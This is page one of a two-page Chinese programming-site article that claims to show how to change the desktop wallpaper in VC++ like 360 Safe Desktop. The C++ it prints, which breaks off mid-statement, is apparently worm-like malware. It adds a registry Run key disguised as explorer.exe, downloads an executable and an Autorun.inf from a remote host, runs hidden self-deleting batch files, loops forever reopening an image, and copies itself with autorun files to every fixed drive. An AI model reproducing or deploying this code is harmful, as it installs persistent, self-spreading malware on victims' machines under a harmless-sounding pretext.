设为首页 加入收藏

TOP

VC++实现像360安全桌面一样修改桌面背景(一)
2014-11-23 19:19:15 】 浏览:447
Tags:实现 360 安全 桌面 一样 修改 背景
具体实现如下,像360安全桌面一样修改桌面背景
模仿360的时候要学习360的狼性文化
[cpp]
#include "stdafx.h"
#include
#include
#include
#include
#include
#include //这个头文件里有ShellExecute的定义
#include
#include
#include
#include
#include
#pragma comment (lib,"Urlmon.lib")
//函数
void down();
bool Checkdisk();
void Scandisk();
void destory();
void reg();
int getname();
void drive();
using namespace std;
#define FILENAME "C:\\Autorun.inf"
int getname()//获取当前用户名 并修改墙纸 需要重起见效
{
char szName[1024];
unsigned long lens = sizeof(szName);
GetUserName(szName, &lens );
static char subkey1[] = "Control Panel\\Desktop";
static char vname1[] = "ConvertedWallpaper";
static char exefile1[] = "C:\\progra~1\\Messenger\\jl.bmp";
ULONG dType = REG_SZ, len = 0;
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER,subkey1,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。
RegSetValueEx(hKey, vname1, 0, REG_SZ,(BYTE *)exefile1, strlen(exefile1)+1); //加上。
RegCloseKey(hKey); //关闭。
FILE *f;//复制一份图片
f=fopen("change.bat","w=");
fprintf(f,"copy C:\\progra~1\\Messenger\\jl.bmp C:\\docume~1\\%s\\LocalS~1\\Applic~1\\Microsoft\\Wallpaper1.bmp",szName);
//注意使用短文件名
fprintf(f,"\n");
fprintf(f,"del change.bat");//自删除
fclose(f);
WinExec("change.bat",SW_HIDE);
return 0;
}
void reg()//利用注册表进行自启动
{
static char subkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
static char vname[] = "explorer.exe";
static char exefile[] = "C:\\progra~1\\Messenger\\explorer.exe";
ULONG dType = REG_SZ, len = 0;
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。
if (RegQueryValueEx(hKey, vname, 0, &dType, NULL, &len)) { //如果没有explorer,
RegSetValueEx(hKey, vname, 0, REG_SZ,(BYTE *)exefile, strlen(exefile)+1); //就加上。
}
RegCloseKey(hKey); //关闭。
}
void down()// 下载
{
//website为存放文件的网址
URLDownloadToFile(NULL,"http://website/jl.bmp","C:\\progra~1\\Messenger\\jl.bmp",0,NULL);//下经过 系统处理的图片
URLDownloadToFile(NULL,"http://website/explorer.exe","C:\\progra~1\\Messenger\\explorer.exe",0,NULL);//下载本文件
URLDownloadToFile(NULL,"http://website/Autorun.inf","C:\\progra~1\\Messenger\\Autorun.inf",0,NULL);//下文件
ShellExecute(0,"open","C:\\progra~1\\Messenger\\jl.bmp",NULL,NULL,SW_SHOW);//运行文件
}
void destory()
{
int i=1;
while(i<=100)
{
ShellExecute(0,"open","C:\\progra~1\\Messenger\\jl.bmp",NULL,NULL,SW_SHOW);//运行文件
Sleep(13000);
}
}
void drive()//复制到各个盘
{
char drive[4]={0};
wsprintf(drive,"C:\0");
drive[0]='C';
while(drive[0]<='Z')
{
if(GetDriveType(drive)==DRIVE_FIXED)
{
FILE *f;
f=fopen("drive.bat","w=");
fprintf(f,"copy C:\\progra~1\\Messenger\\explorer.exe %c:\\explorer.exe",drive[0]);
fprintf(f,"\n");
fprintf(f,"copy C:\\progra~1\\Messenger\\Autorun.inf %c:\\Autorun.inf",drive[0]);
fprintf(
首页 上一页 1 2 下一页 尾页 1/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇 Invalidate与UpdateWindow的区别 下一篇VC++实现HTTP代理

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目